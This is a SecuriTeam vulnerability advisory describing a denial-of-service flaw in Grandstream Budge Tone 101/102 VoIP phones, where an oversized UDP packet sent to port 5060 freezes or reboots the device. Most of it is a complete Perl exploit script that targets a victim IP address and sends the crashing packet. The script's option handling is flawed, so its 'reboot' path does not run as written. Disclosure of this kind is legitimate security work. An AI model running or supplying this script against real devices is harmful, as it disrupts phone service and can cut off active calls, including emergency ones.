SecuriTeam - Grandstream Budge Tone 101/102 VoIP DoS

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CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

Grandstream IP Phone is - "An award-winning next generation IP network telephone based on industry open standards."

It is possible to initiate a denial of service attack against Grandstream phones, this by sending a UDP packet larger than 65534 bytes to port 5060.

Credit:
The information has been provided by Pierre Kroma.

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Vulnerable Devices:
* Grandstream Budge Tone-101
* Grandstream Budge Tone-102

Vulnerable Firmware:
* Firmware 3D version 1.0.6.7 (previous versions suspected)

If you send an UDP packet larger than 65534 bytes to port 5060 the devices stop working.
* Any active telephone call will be aborted.
* The display will show nothing / display freeze.
* The integrated HTTP-server won't be reachable any more.

To solve the problem, you must switch the phone off and on again.

If you send a packet of exactly 65534 bytes the device may reboot. Smaller packets have no effect.

Exploit:
#!/usr/bin/perl
#
use IO::Socket;
use Term::ANSIColor;

############## U S A G E ##################
system ("clear");
print "\nGrandstream BT101/BT102 DoS\n";
print "written by pierre kroma (kroma\@syss.de)\n\n";

if (!$ARGV[2]){
print qq~
Usage: perl grandstream-DoS.pl -s <ip-addr> <udp-port> {-r/-s}

<ip-addr> = ;-)
<udp-port> = 5060

-r = 'reboot' the Grandstream BT 101/102
-s = 'shutdown' the Grandstream BT 101/102

~; exit;}
################# D E F I N I T I O N S##########

$victim = $ARGV[0];
$port = $ARGV[1];
$option = $ARGV[2];

if ( $option == 'r' || $option == 'R' )
{ $request= 'k'x65534;}

if ( $option == 's' || $option == 'S' )
{ $request= 'p'x65535;}
else
{ print "Wrong parameter - try it again";
exit;
}

# ping the remote device
print color 'bold blue';
print "\nping the remote device $victim\n";
print color 'reset';
system("ping -c 3 $victim");

print color 'bold red';
print "\n Wait ... \n\n\n";
print color 'reset';
$sox = IO::Socket::INET->new(Proto=>"udp",PeerPort=>"$port",PeerAddr=>"$victim");

print $sox $request;
sleep 1;
close $sox;

# ping the remote device
print color 'bold blue';
print "ping the remote device $victim again\n";
print color 'reset';
system("ping -c 3 $victim");

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